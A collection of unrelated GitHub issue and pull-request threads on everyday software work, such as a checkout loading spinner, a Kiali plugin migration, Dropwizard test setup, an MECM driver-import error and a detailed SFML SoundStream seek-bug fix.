It would be nice to have some sort of feedback when you click on pay on the checkout page, that it is loading/processing the payment.
Describe the solution you'd like
A moving loading circle in the Pay button, while it also gets disabled.
Describe alternatives you've considered
A loading sign in the middle of the screen while the background is blurred.
Jira issue

A moving loading circle in the Pay button, while it also gets disabled.

I think it's already disabled, but it has the hover styling regardless. So yes, that needs to be corrected.

Oh and one more thing, that I forgot to mention. Is it possible to use a default bootstrap button style (btn btn-success) instead of this custom one? Or that is not related to OCC?

Yeah, ofc you can override it with CSS. I'm just curious why is that a custom button when there are nice buttons already in bootstrap. 😄

I'm just curious why is that a custom button when there are nice buttons already in bootstrap.
Oh okay, sorry. There is no reason, this is from the Stripe integration, and I didn't care about the styling when I did that, but you are right.

There is no need to say sorry, don't worry, I'm just asking. No harm was done😄


feat(kiali): add kiali-backend

Hey, I just made a Pull Request!
Add Kiali Backend plugin
https://github.com/backstage/community-plugins/issues/1151
The kiali-backend plugins from the janus-idp/backstage-plugins repository was migrated to the community plugins. The migration was performed by following the manual migration steps outlined in the Community Plugins CONTRIBUTING guide
:heavy_check_mark: Checklist

[x] A changeset describing the change and affected packages. (more info)
[x] Added or updated documentation
[x] Tests for new functionality and regression tests for bug fixes
[x] Screenshots attached (for UI changes)
[x] All your commits have a Signed-off-by line in the message. (more info)

Please @BethGriggs can you check it ? .
Thanks !

Hi @aljesusg, Beth is away on PTO for a few weeks, I've been assigned to review and will look at it on Friday.
Is there any chance we can break this up into smaller chunks? There's almost 700 files in this PR. Could we perhaps do a PR with the backend plugin and then do a follow up with the frontend?

Ok let me split the PR

Ok this is ready with backend side.

I did the changes thanks @04kash

To fix CI issues:

run yarn dedupe from the kiali workspace
run yarn build:api-reports and commit the api-report.md file

Looks good to me as well! For the CI, I think probably running yarn install should do it

Done ...I don't know why I didn't updated (facepalm)

Just one more step, running yarn fix, hopefully that makes the CI green :)

@04kash I adapted the tests, there is not longer catalog.providers configuration mut be in the same level here

Thanks @04kash I did it in my mobile and It was hard 😅

No worries, the CI is finally green! 🚀

Sorry @aljesusg, there's still issues with the API Report. You have two files here: api-report.md and api-report.md.api.md. The proper file should be report.api.md and the other two should be deleted. An example of a proper file is here: https://github.com/backstage/community-plugins/blob/main/workspaces/azure-devops/plugins/azure-devops-backend/report.api.md

Done. Sorry it seems that the migration scripts is not working as expected after see these results. I'll migrate the frontend manually 😅.

Your last commit looks to be missing the DCO.

Rebased @awanlin I think that this is ready

Can we merge this? If I update again the branch with main all the CI will be blocked again until approved and then I'll need to rebase again due another PR merged so... What should I do? Thanks !


Entity Permissions Table Header, on Role Edit page, Needs to stick to top when scrolling

When scrolling long lists of entities, and you are modifying a specific permission for  role, the header of the permissions table does not stick to top when scrolling:

So very quickly you end up in confusion about which column is which.

Hi Stephen,
Thanks for your suggestion! We will be redesigning the role permission management in the upcoming release so this issue will be addressed.


Ensure config "extensions" do not mutate the cached config. Fix #1985

webgme apps appear to mutate the same, cached config. This is mostly fine except for when we are adding an extra key to the config and then it is validated when a dependency loads the webgme config. In this case, the addition of the extension info should not mutate the original.

The failing test is the flaky sciserver integration test.

The failing test is the flaky sciserver integration test.


Filtered list of pull requests (by label)

I would like to be able to retrieve a list of pull requests filter by label.
This should be able to be combined with the filter for state.

I agree that this should be possible. See https://github.com/github/hub/issues/2079#issuecomment-472507867 for explanation why we would need significant refactoring and switch to a different API to achieve this, and an example of how you can search manually via hub api in the meantime.
Also, you can use hub issue --include-pulls, but that also includes issues among pull requests of course.


Fix getID bug

jniEnv could be null before calling attachThread, even for getting the function pointer.
Might fix https://github.com/dart-lang/http/issues/1152.

coverage: 92.007% (-1.7%) from 93.677%
when pulling cc14188a9c74d2837bc1ad5447ac9d4261ab8794 on idbugfix
into 71ada4b5c8001e6b8207ed40331d158e0912cd94 on main.


[Storage] Add API BlobClient.upload(InputStream, length)

Track 1 provides the following API which automatically switches between single-put and stage-block upload based on the length:
CloudBlockBlob.upload(InputStream, long length)

For customers migrating from Track 1 to Track 2, I think we should provide a synchronous API as similar as possible.  Currently in Track 2, there is no way to synchronously upload a stream of arbitrary size with good performance for small blobs.  The only option is BlockBlobClient.getBlobOutputStream(), which is both more complicated to use and has poor performance for small blobs.
The implementation can simply call into the existing sync APIs:
public void BlobClient.upload(InputStream inputStream, long length) {
    BlockBlobClient blockBlobClient = this.getBlockBlobClient();
    if (length < singlePutMaximum) {
        return blockBlobClient.upload(inputStream, length);
    }
    else {
        BlobOutputStream blobOutputStream = blockBlobClient.getBlobOutputStream();
        inputStream.transferTo(blobOutputStream);
        blobOutputStream.close();
    }
}

Related: https://github.com/Azure/azure-sdk-for-java/issues/5275
CC: @rickle-msft

I agree that this would make migration easier and more intuitive. I'm ok with this addition.


Add ability to redirect users to a protected page after login

Is your feature request related to a problem? Please describe.
If you try to reach a page that requires login you should be redirected to the original page after logging in.
Describe the solution you'd like
Use the redirect query param to redirect the user back to the original page they tried to access.
For example:

User tries to go to /conversations/all page
User is not authenticated, so gets redirected to login page

The fix we want:

User tries to go to /conversations/all page
User is not authenticated, so gets redirected to login page with redirect=/conversations/all in query param

e.g. locahost:3000/login?redirect=/conversations/all

This might be a decent starting point? https://github.com/papercups-io/papercups/blob/master/assets/src/App.tsx#L48

done in https://github.com/papercups-io/papercups/pull/348


ignoreLines not working

I have a line that needs to be on top for another extension.
local BUILD = '
Here is my config, it is not ignoring this line:
"psi-header.lang-config": [
{
"language": "lua",
"begin": "--[[ BEGIN AUTOMATIC HEADER",
"prefix": "*****    ",
"suffix": "*****    ",
"lineLength": 100,
"end": "END AUTOMATIC HEADER --]]",
"forceToTop": true,
"blankLinesAfter": 2,
"rootDirFileName": "README.md",
"ignoreLines": [ "local BUILD = '" ],
},

You need to use the beforeHeader option under Language Configuration for the pre-header stuff.
Regards
D


Fix missing args checking for scroll calls

These changes fix calls to scroll/scrollTo with an object that is missing either the left or top member.
There a couple of issues that I fixed:

A missing left or top member causes Window.scroll, Element.scroll and Element.scrollBy to never complete the scroll (issue https://github.com/iamdustan/smoothscroll/issues/60).
Window.scroll, Window.scrollBy, and Element.scroll (the bailout cases) don't properly handle a value of 0 for left or top.  If 0 is passed, the || operator logic ends up behaving as if an object wasn't passed.

@asselin thanks for your contribution, I tried your branch but there were other edge cases and args combination that this PR didn't cover. We've just released a new version that does a super hard check and makes sure everything is in place or throws error to match the native implementations.
Thanks for your contribution!


hipchat

Is there a hipchat integration for botkit?

Not at this time! Typically such work starts at the behest of the platform itself, so you should request it from Hipchat themselves!


pSuspect->IsTaunting() check in cheater detector doesn't sound too good since players can still charge ticks while taunting

title

players can also charge ticks while dead or dormant and not get detected, players can charge ticks slowly and not get detected, and release said ticks slowly as well, the cheater detection can be bypasses pretty easily rn, the taunt check is for anti aim detections im gonna add later.


ttop: 1.2.7 -> 1.2.8

Description of changes
Changes: https://github.com/inv2004/ttop/compare/v1.2.7...v1.2.8
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
24.05 Release Notes (or backporting 23.05 and 23.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Result of nixpkgs-review pr 274084 run on x86_64-linux 1

1 package built:

ttop


Patch 1

This is the updated version of my first blog post.  Content was added.

Hi Cara, could you change the filename to include the date as in the example?

Updated file name

Looking good now!


HTML

HTML
User Story
As a bootcamp student
I want the prework notes to be structured on a webpage
so that I can easily find and read information
Acceptance Criteria
GIVEN a Prework Study Guide website
WHEN I visit the website in my browser
THEN I see four boxes titled HTML, CSS, Git and JaveScript with associated notes listed

Assign me but what to do can you explain briefly...


PEAR/FunctionDeclaration: bug fix x 2 - prevent fixer creating a parse error + prevent fixer conflict

Description
Recreation of upstream PR https://github.com/squizlabs/PHP_CodeSniffer/pull/3739:

PEAR/FunctionDeclaration: bug fix - prevent fixer from creating a parse error
Issue as described in squizlabs/PHP_CodeSniffer#3736.
The fixer would try to remove superfluous whitespace remaining after the move of the opening brace to the previous line, but did not take into account that there may not be any whitespace to remove, i.e. that the $opener +1 token could be the same as the $next token.
Fixed now.
Includes unit test.
Fixes squizlabs/PHP_CodeSniffer#3736
PEAR/FunctionDeclaration: prevent fixer conflict
This commit was originally pulled as part of PR squizlabs/PHP_CodeSniffer#3661.
If a return type declaration was not confined to one line, the sniff could have a fixer conflict with itself.
The fixer would also potentially remove a close curly on the same line, causing parse errors.
Fixed now. The diff will be most straight forward to review while ignoring whitespace changes.
Includes unit tests.

Suggested changelog entry

PEAR/FunctionDeclaration: bug fix - prevent fixer from creating a parse error
PEAR/FunctionDeclaration: prevent fixer conflict

FYI: this fix is included in today's PHP_CodeSniffer 3.8.0 release.
As per #3932, development on PHP_CodeSniffer will continue in the PHPCSStandards/PHP_CodeSniffer repository. If you want to stay informed, you may want to start "watching" that repo (or watching releases from that repo).


[Monitor][Ingestion] Improve chunking compression

This will help improve compression efficiency when chunking log entries for upload.

API change check
API changes are not detected in this pull request.


PD Basic Pipetting Steps: Transfer (Validate and Save)

As a protocol designer, I’d like to be able to create a transfer step, so that I can easily move liquid from one location to another.
Acceptance Criteria

User able to save a transfer step
User able to cancel transfer step
Transfer configuration validate on save
-- (validations tbd?)

Closing as per @IanLondon


Stringify subscription errors elegantly to avoid [object Object] errors

there are several issues regarding this, would be good to get this one released very soon

The idea of accessing originalError is an interesting one; but I'm going to leave it out of the default implementation in #934 - you can always override GraphiQL.formatError


Make private key optional in TlsConnectorConfig

The private key corresponds to the certificate, so certificate_path should also be optional?

Fixes https://github.com/shotover/shotover-proxy/issues/708


Integration Test using mocked beans

We have a following scenario,
OurServiceApplication is adding the below bundle during the initialize(Bootstrap...)
GuiceBundle guiceBundle =  GuiceBundle.newBuilder()
.addModule(new OurModule())...
OurModule has the bean injection of DatabaseSource etc.
We are writing the integration test as below
DropwizardAppRule RULE = new DropwizardAppRule<>(
OurServiceApplication.class, "our.yml")
Now we want to inject in-memory datasource,  can u pls let us know how to inject it?
Please note that TestModule has the InMemoryDatasource beans..

The way I did it at a couple of companies that has worked fairly well is extend io.dropwizard.testing.DropwizardTestSupport so you can override com.alianza.dropwizard.testing.AlzDropwizardTestSupport#newApplication. The new DropwizardTestSupport should take your TestModule and use that and your Dropwizard Application to spin up the server. Here's a couple of snippets:
public class Main extends Application<BasicExampleConfig> {

    private final Module appModule;

    public Main() {
        appModule = new BasicExampleModule();//Guice module used for normal runtime
    }

    @VisibleForTesting
    public Main(Module... overrideModules) {
        appModule = Modules.override(new BasicExampleModule()).with(overrideModules);
    }

    public static void main(String... args) throws Exception {
        new Main().run(args);
    }

    @Override
    public String getName() {
        return "basic-example";
    }

    @Override
    public void initialize(final Bootstrap<BasicExampleConfig> bootstrap) {
        super.initialize(bootstrap);
        GuiceBundle<BasicExampleConfig> bundle = GuiceBundle.newBuilder()
                .addModule(appModule)
                //other GuiceBundle builder options
                .build();
        bootstrap.addBundle(bundle);
    }
    //other methods omitted
}

public class YourDropwizardTestSupport<C extends Configuration> extends DropwizardTestSupport {

    private final Module externalMocksModule;

    public YourDropwizardTestSupport(Class<? extends Application<C>> applicationClass, @Nullable String configPath, Module externalMocksModule) {
        super(applicationClass, configPath);
        this.externalMocksModule = requireNonNull(externalMocksModule);
    }

    @Override
    public Application<C> newApplication() {
        try {
            //this is way fancier than you need but it finds the constructor in the Application class that takes a Guice Module and uses that to spin up your server for integratoin tests
            return (Application<C>) applicationClass.getConstructor(Module[].class).newInstance(new Object[]{new Module[] {externalMocksModule}});
        } catch (Exception e) {
            throw propagate(e);
        }
    }
}


Navbar design

In this update, I made several design changes to enhance the user experience. Firstly, I adjusted the navbar position to be fixed, ensuring it remains at the top of the viewport while scrolling. Additionally, I updated the theme toggle icon to be initially hidden, improving the overall layout. Some navbar items are now also hidden initially, which helps to focus the user's attention on the primary options. Lastly, I ensured that the logo is properly displayed within the navbar for better branding.

resolve the conflicts!

Please add screenshots/screen recording to show your changes.

https://github.com/user-attachments/assets/e5edf489-7a77-4769-810c-b005724341be
This is the Proof of the changes made.


TypeError nodeSize is not a function or its return value is not iterable

Describe the bug
TypeError
nodeSize is not a function or its return value is not iterable
Your Example Website or App
https://codesandbox.io/s/x6w0z3?file=/index.ts
Steps to Reproduce the Bug or Issue
直接点开就看到了
Expected behavior
显示正常，不报错
Screenshots or Videos
No response
Platform

OS: [e.g. macOS, Windows, Linux]
Browser: [e.g. Chrome, Safari, Firefox]
Version: [e.g. 91.1]

Additional context
No response

使用 @antv/layout 0.1.18 版本就好了。


chore: customers-service to 0.0.1

chore: Promote customers-service to version 0.0.1

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To complete the pull request process, please assign
You can assign the PR to them by writing /assign  in a comment when ready.
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


Allow users to edit a classroom

Allow editing of classroom information including password and picture

Branch issue-17-allow-users-to-edit-a-classroom created for issue #17.


feat: package is now ESM

BREAKING CHANGE: package is now ESM

It's almost ready, just waiting for the stable release of @octokit/oauth-methods


Larry Gray: new volunteer via Mozilla Science Lab Collaborate

My computational biology background could be an asset plus the codebase for this project has similarity to my side projectThis issue was created by @lwgray via Mozilla Science Lab Collaborate

@lwgray, welcome! Computational biology is indeed a great asset. Are you interested in helping more on the science or code side of things, or both?

Both... I work in structural Computation biology so I have limited genomic
expertise but I am willing to learn.
I was looking at some of the issues last night but probably need to speak
with you over google hangout to get a better understanding.
Cheers,
Larry
On Mon, Apr 18, 2016 at 3:26 PM, Madeleine Bonsma<EMAIL_ADDRESS>wrote:

@lwgray https://github.com/lwgray, welcome! Computational biology is
indeed a great asset. Are you interested in helping more on the science or
code side of things, or both?
—
You are receiving this because you were mentioned.
Reply to this email directly or view it on GitHub
https://github.com/goyalsid/phageParser/issues/65#issuecomment-211540321

We can definitely chat on Google Hangout sometime. Send me an email at<EMAIL_ADDRESS>and we can set up a time!


Add a translate option for text on web pages

ok sir

yes sir

@developer-diganta now it's complete, any other work for me

ok sir now please check it is right or not, thank you for help


Do not show "Show region options" in "Add Load Balancer" page when there is no regions entry.

Rancher Server build - v1.6-developement
"Add Load Balancer" page has  "Show region options" which should not be presented to the user unless there is atleast 1 region entry.

fixed in https://github.com/rancher/ui/pull/1469/commits/bc448e9c472353d45b05b7d15c5338559ca5f3d3

With latest Rancher Server build from v1.6-developement
"Add Load Balancer" page does not has "Show region options" when there is no region entry.


add SpatialPyramidPoolLayer c++ support

1 add SpatialPyamidPoolLayer c++ support #257
2 use clang-format command to format matrix.cpp file
3 add PoolProjection as a data member in projectionLayer to reuse code

Coverage increased (+0.2%) to 62.614% when pulling bdc9d10ae5a90804292954d821f1031c001ad5fd on QiJune:feature/sppnet into 0c7ac3d9c2062572967f3a34bee68aba9fc82409 on baidu:develop.

Coverage increased (+0.2%) to 62.597% when pulling 70e04683dddd4ae47f1947f95008413ce1e69fce on QiJune:feature/sppnet into 0c7ac3d9c2062572967f3a34bee68aba9fc82409 on baidu:develop.

得加上test_spp_layer.protostr

Coverage increased (+0.2%) to 62.653% when pulling eaf3dec9c57a9028843767c339009c0882ba38e8 on QiJune:feature/sppnet into 0c7ac3d9c2062572967f3a34bee68aba9fc82409 on baidu:develop.

Coverage increased (+0.2%) to 62.662% when pulling f173341fb2babad0b4e3c72921f93493606a55e6 on QiJune:feature/sppnet into 05204af1f2f1cb549c40880893ca0e2eb47e588f on baidu:develop.

Coverage increased (+0.2%) to 62.638% when pulling 61444d903de8e2479fbeec15d16bb84d14e922e3 on QiJune:feature/sppnet into 8d4c453bbb7980491d539bbe574d5e729c90a097 on baidu:develop.

Coverage increased (+0.2%) to 62.871% when pulling 9dd588b414dbcb3fb2f0d603744dfa3409367fb3 on QiJune:feature/sppnet into 8295eb91bff52b2ef9c0dc53f7e4b902f14030e2 on baidu:develop.


Limitation when no BGP is configured under the "Multiple on-premises VPN devices"

[Enter feedback here]
I tested under my own sub that when I create 2 connections for azure vpn gw (without enabled BGP), only one of two connections comes to play. Even though the other connection also shows "connected", the actual traffic from azure to on-prem still goes to the only one connection. It means ECMP never works when there is no BGP enabled.
That would be great if someone could help to mention that limitation on docs when BGP isn't being used.

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: ff33c99b-1aa1-b1a3-4c51-00e68de1005d
Version Independent ID: cc777df4-3df5-c9ed-df4e-3d9d7ab344ef
Content: About Highly Available gateway configurations - Azure VPN Gateway
Content Source: articles/vpn-gateway/vpn-gateway-highlyavailable.md
Service: vpn-gateway
GitHub Login: @cherylmc
Microsoft Alias: cherylmc

@GavinJin88
Thanks for your feedback! We will investigate and update as appropriate.

Hi @ManoharLakkoju-MSFT , please let me know if you want more details about this.
It seemed that the earlier created connection(has to be connected and QM SA is up) takes place and VM always use that tunnel.
The later created connection won't be used unless the earlier created connection goes down.

@GavinJin88 , We have assigned this to the content owner/author for review.
@cherylmc , for your review.

#reassign:aybatra

#assign:deeharris-23

#reassign:deeharris-23

This is likely due to a routing error in your setup

#please-close


How to use this in a cs script file which is not connected directly with scene

I have a script file which talks to the Android Java file but not connected directly with the scene. So is it possible to use this? If yes can you provide an example? as I am new to Unity and C#

You may want to look into JNI calls for this.


[Snackbar][✨]: add autoClose feature

Is your feature request related to a problem? Please describe.
We usually need to close the Snackbar after a few seconds.
Describe the solution you'd like
It will be wonderful if we have a mechanism that can set it to automatically close the Snackbar after a given seconds.

This will be a good property type for autoClose:
/**
 * If `true`, the Snackbar automatically closes after a calculated time.
 * This calculated time depends on the number of characters in the Snackbar's content.
 *
 * If a number is entered, the Snackbar will be closed after that amount of time.
 */
type AutoClose = boolean | number;

[🚀] Merged!
[🔗] Link to the Log


Fix content mode related to #6694 (#6696)

backport

Coverage remained the same at 78.215% when pulling b014f8060cce03c72fc9d30ebffc23518f2bcc15 on FinalAngel:release/3.7.x into f6d104f0a0af25503b2bbc2914550326d0e64e16 on divio:release/3.7.x.


Error when creating package:

Hi,
this tool has been working smooth since ever. Now I'm getting and error at the time is creating the package driver.
This is what I get

ConfigMgr: Creating driver package	DriverAutomationTool	27/09/2022 17:14:44	9628 (0x259C)
======== Errors(s) Occurred ========	DriverAutomationTool	27/09/2022 17:14:44	9628 (0x259C)
[Error] - Not found  System.Management.ManagementException: Not found
at System.Management.ManagementException.ThrowWithExtendedInfo(ManagementStatus errorCode)
at System.Management.ManagementObject.Initialize(Boolean getObject)
at System.Management.ManagementObject.Put(PutOptions options)
at Microsoft.ConfigurationManagement.ManagementProvider.WqlQueryEngine.WqlResultObject.Put(ReportProgress progressReport)	DriverAutomationTool	27/09/2022 17:14:44	9628 (0x259C)
DriverAutomationTool	27/09/2022 17:14:44	9628 (0x259C)

Fails from diferent computers where DAT is installed.
Thanks in advance

Did you ever get answers to this? I am getting an error when the tool is attempting to create packages, tool is being ran from a remote server seperate from the SQL / DB server:
[Error] - Not found  System.Management.ManagementException: Not found
at System.Management.ManagementException.ThrowWithExtendedInfo(ManagementStatus errorCode)
at System.Management.ManagementObject.Initialize(Boolean getObject)
at System.Management.ManagementObject.Put(PutOptions options)
at Microsoft.ConfigurationManagement.ManagementProvider.WqlQueryEngine.WqlResultObject.Put(ReportProgress progressReport)	DriverAutomationTool	08/08/2023 12:00:21	3040 (0x0BE0)

I'm also seeing this in the logs when trying to pull down some Dell drivers. The download completes, but when trying to create the package I get this.
In my case, the tool is being run directly on the ConfigMgr server.

Seems SQL 2022 is not yet supported by MECM Current branch.
I had to change the compatibility level of the CM database so that it would import drivers successfully.
Solution was found here: https://www.reddit.com/r/SCCM/comments/zz8uoj/issues_importing_drivers_into_mecm/
Altered the database using following: ALTER DATABASE <CM_DB> SET COMPATIBILITY_LEVEL = 150


Updated makefile to show clean, to use —repo-update option when install pods, to beautify the build_and_run_booted target, and added maked check to run clean, install, test

Updated makefile

to show new target: check
to use --repo-update option when installing cocoapods
to beautify build_and_run_booted target
to add check target which cleans, reinstalls, runs tests

@eviltofu and this can be split into different commits:

Updated makefile to show clean, to use —repo-update option when install pods, to beautify the build_and_run_booted target, and added maked check to run clean, install, test #4339

Or maybe clean_and_test is better, since it's really testing?


Fixed inconsistent seek behavior in SoundStream

Sorry for being so spotty with my updates to the Loop Points. One of the things I was tasked to do was isolate my bugfixes for sf::SoundStream into a separate PR so that #629 could be decided independently.
Now, for anyone who doesn't know what this is about, here's a summary of what I addressed in this PR, namely two edge-cases that break the consistency of m_samplesProcessed and one regression when setPlayingOffset() and play() are used when the sound is stopped:
I only found the first one because I was using a file that was an exact numbers of seconds long, which matches the SoundStream buffer size. Currently, if onGetData() reads to the exact end of the file, it will return true due to the full read, even though there's no more data available afterward. However, this means that the buffer isn't properly marked as an "end". When it's time to read the next buffer after that, it will read 0 bytes and return false. This will trigger a seek to 0 (in the current version without loop points), and flag the buffer as an "end". But since the read was 0, the buffer then gets refilled with 1 second of post-seek data. The two buffers get played normally, but now the 2nd one is flagged as the end, even though it contains beginning data. And when it gets unloaded, the sample counter gets reset one second too late. This creates a "lag" that persists over the playback, forever reporting an incorrect play position.
My fix involved adding m_tellPos, in sf::Music to keep track of the sample position in the underlying file. Now, if the position afterwards lands on the EOF, onGetData() will return false, even if the a read fills the whole buffer. I couldn't fix it in sf::SoundStream itself, because modifying the signature of onSeek() would break the API. But sf::Music is close enough to the underlying file to track its position, and has enough leverage with its return value from onGetData() so it can force a zero-seek at the right time.
A slightly different case involved a similar error when the play position starts at the end-of-file. It causes the same "delayed zero-read" effect, though the offset corrects itself after a loop iteration. Since no sound is loaded yet, there's no rightful owner of the "end" status, so my solution is the immediateLoop parameter in fillAndPushBuffer() it's only set to true during the fillQueue() call as the thread starts up. It essentially gives fillAndPushBuffer() permission to immediately adjust m_samplesProcessed to the correct post-loop value, instead of deferring things until the refilled buffer gets unloaded a second too late.
These fixes combined lead to an included easy-fix of #966, since sf::Music() can now clamp a seek overrun to the EOF, invoking the new reset behavior at the next onGetData().
I'd argue that the last "bug" is a regression. setPlayingOffset() used to always begin playing the sound when it was called. But when that behavior was removed, the ability to manually start playing afterward from the new offset wasn't added. I found this issue during my Loop Point testing, when I tried to set the "play start" by calling setPlayingOffset() between openFromFile() and play(). I noticed that the music always began from the start regardless, due to the onSeek(Time::Zero); call in play() and I didn't see any proper reason for it. The paused and playing cases were already covered, and if the music was stopped, then there are 3 possibilities. Either the music was newly loaded (already 0), newly-stopped (already 0), or had its offset explicitly adjusted after loading or stopping (why would you overrule that?). So I removed the onSeek(Time::Zero); line, and moved the m_samplesProcessed = 0; line to initialize(), to make sure case 1 is still covered.
So that's my summary of the bugs, in isolation from #629. I'll replace the code in that PR with fast-forward from this one soon.
EDIT: Here's a new test.cpp. It's just my newest Loop Point one with the actual loop point calls disabled by a commented-out macro at the top. I still recommend using it with count.wav.
EDIT by @mantognini: both the source code and sound file in one archive

I can confirm that the current master version suffer from these three issues

[...] the sample counter gets reset one second too late. This creates a "lag" that persists over the playback, forever reporting an incorrect play position. [...]

and

[...] A slightly different case involved a similar error when the play position starts at the end-of-file. It causes the same "delayed zero-read" effect, though the offset corrects itself after a loop iteration. [...]

and

[...] when I tried to set the "play start" by calling setPlayingOffset() between openFromFile() and play(). I noticed that the music always began from the start regardless [...]

and that your code (which I haven't yet looked at) fixes them! 👍

Any updates on this? I'd prefer to see this merged, or at least approved, before I go back and update the loop points PR. But it doesn't sound like anyone's fully inspected my code yet.
Since the fix is reproducible, hopefully it's just a matter of syntax and other nitpicks, if anything. And I'd love to see this make it into 2.4.

I'm not so much familiar with the internal of the audio module, so it'd be better if someone else reviewed this. And I'm afraid targeting 2.4 will only postpone its release... :-/

I was away the whole week, I'll try to review your code ASAP (and fully read the PR description :).
But I've seen something that should be removed: you added a public function to sf::Music which is not needed to fix the bugs (or I missed something?). Don't mix unrelated things in a single PR. If you want to add something to the public API, then you should first discuss it on the forum.

Whoops, getSampleCount() might have been a part of the loop points PR that I forgot to exclude when cutting things down for this one. It made more sense as an addition there since sample counts are more relevant. I'll go remove it from this one.

Can confirm that it works on my Windows 10 machine just fine.

Just checking in since it's been a little while. I'm glad to see 2 confirmed fix cases, but has anyone had a chance to vet the code convention and style?

I would have hoped that @LaurentGomila could take some time to look at it, since he's most familiar with the audio module.
The style looks okay to me, except for the line break which seems unnecessary - we don't have a line width limit afaik.

Sorry, my free time is really limited and when I get some, I usually have other (personal) things to do.

// Make sure we don't divide by 0
if (getSampleRate() != 0 && getChannelCount() != 0)
return m_file.getDuration();

This should rather be fixed in `sf::InputSoundFile` directly.

> My fix involved adding m_tellPos, in sf::Music to keep track of the sample position in the underlying file.

I would rather add a `getCurrentPosition()` (or any other name) function to `sf::InputSoundFile`, which can easily be used to test for EOF. That would be more generic and useful than your `sf::Music` fix.
Then we can only keep the EOF test in `sf::Music::onGetData` and skip the current one, which was just a workaround to the lack of proper EOF detection.

The second fix of this PR requires more attention, I'll have a look at it later.

I think Laurent has some good points there. Are you willing to update your code @Cobaltergeist?

Okay, I went and moved the sample position tracking, including the counter itself, the overrun clamping and the divide-by-0 checks, into sf::InputSoundFile. Now, sf::Music gets all the info needed for its EOF check from m_file and it doesn't have to hold the m_tellPos counter as a workaround.
As well as the getSampleOffset() member function I use, I also added a getTimeOffset() function to sf::InputSoundFile for the sake of interface consistency. I noticed that sf::InputSoundFile tends to expose sample and time versions for the same data input/output (see: getSampleCount() + getDuration(), as well as the 2 overloads for seek()), and decided to follow suit. If you want me to leave it out instead, let me know and I'll rmeove it.

Added some "cosmetic" comments. :wink:

@LaurentGomila sorry for not replying directly to your line, but I cover something important in the 2nd half of this comment that I don't want hidden when I update the diff.
I'd argue against completely omitting the first sample-read check simply for the sake of defensive programming. Especially since we allow users to add custom stream classes and sound readers that the underlying InputSoundFile might be using. If the read somehow errors out, we need to know.
What if we change it to data.sampleCount != 0? That way we increase flexibility a bit. If a custom stream encounters a short-read but stays valid, we won't reset the loop. But on a condition where data becomes completely unavailable, we can still propagate a reset-to-zero back to SoundStream.
Actually, speaking of error cases, let me check what does happen when a file becomes inaccessible mid-stream...
Oh jeez, it causes a segfault... Looks like fillAndPushBuffer enters infinite recursion and overflows the stack when it encounters an unreadable looping sound. Seems like an easy fix that would fit this PR's scope though. I see 2 ways that basically accomplish the same thing:

I add another parameter to fillAndPushBuffer, something like bool isRetry or Uint32 retryCount. I'll set it to only be true/positive in the recursive retry, and prevent further recursion once it becomes true/maxRetries.
I add the retry flag/counter as a local variable in fillAndPushBuffer, change if (!onGetData(data))  to while (!onGetData(data)), and add break, continue, and ++retryCount within the new loop as appropriate.

The latter saves stack frames and makes a retry counter easier to follow if we use one, but it abuses looping semantics a bit. Up to you guys which one I go for.

I'd argue against completely omitting the first sample-read check simply for the sake of defensive programming. Especially since we allow users to add custom stream classes and sound readers that the underlying InputSoundFile might be using. If the read somehow errors out, we need to know.

It depends how we want the music to behave.
In case we read less bytes than requested, I don't think we should stop the music, the back-end may have chosen to return less samples for some reason, but still be valid and able to return new data on the next call.
So, it seems like we both agree on how to change this piece of code ;)
In the case where no sample was returned at all, and we are not at EOF, it's less obvious. the input file may be stuck for some reason, and we may freeze ther music if we just keep on trying to read. I think stopping makes sense in this case.

Actually, speaking of error cases, let me check what does happen when a file becomes inaccessible mid-stream...
Oh jeez, it causes a segfault...

Let's address this issue in another PR, since it's a different thing. This way we can finally end and merge this one.

Alright, I merged up to the latest master and performed the cosmetic changes:

Changed the first EOF check condition to data.sampleCount != 0
Tweaked the if statements in the new InputSoundFile getters
De-aligned the other declarations in SoundStream::initialize for consistency

I have code for the segfault fix, but I'll include that in another PR once this one is merged.

Sorry to bump this, but is there any news?
Test suite results? Comments or approval from @LaurentGomila? Prospects of making the next merge list?
I can't cleanly make the segfault fix PR until this is merged, since it modifies fillAndPushBuffer() in a way that would definitely conflict with my addition of the immediateLoop parameter if done separately. Not a huge conflict, but one that would definitely require manual resolution on my part, to whichever change comes last. Or do you guys think it's worthwhile to make the PR now anyway?

@Cobaltergeist Assuming you've got your code written already (or it's not that complex to do; not really up to date here right now), just create your pull request so people can try it standalone, comment on it, etc. and then just rebase it in case this PR is merged first. Just make sure to note the possible conflict in your PR description (e.g. something like this: These changes might conflict with #1118.)

I noticed that @binary1248 ran some tests, and a few failed due to not recognizing std::min(). I believe that was caused by me not including <algorithm> so I went back and fixed that.

@Cobaltergeist Can you squash the commits?

@eXpl0it3r Done. Now it's probably best to re-test this. Not sure if this is maintainers-only, but from what I've seen in other PRs, I'd assume this is done using the magic words?
SFMLBuildMaster: Build this please.

SFMLBuildMaster: Build this please.

This PR has been added to my merge list, meaning it will be merged soon, unless someone raises any concerns.

These fixes combined lead to an included easy-fix of #966, since sf::Music() can now clamp a seek overrun to the EOF, invoking the new reset behavior at the next onGetData().

Just looking at #966 again in combination with this fix. So this PR doesn't fully fix the problem of the offset overrunning, but instead it will properly reset on the next onGetData() call, is that correct?
When I run my test app posted on the forum, I still see the value count up at offset 200, but it only runs about 1s and the stops playing. This is the expected behavior, right?

